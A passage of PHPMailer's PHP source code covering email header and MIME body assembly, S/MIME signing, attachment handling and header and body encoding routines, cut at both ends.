     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
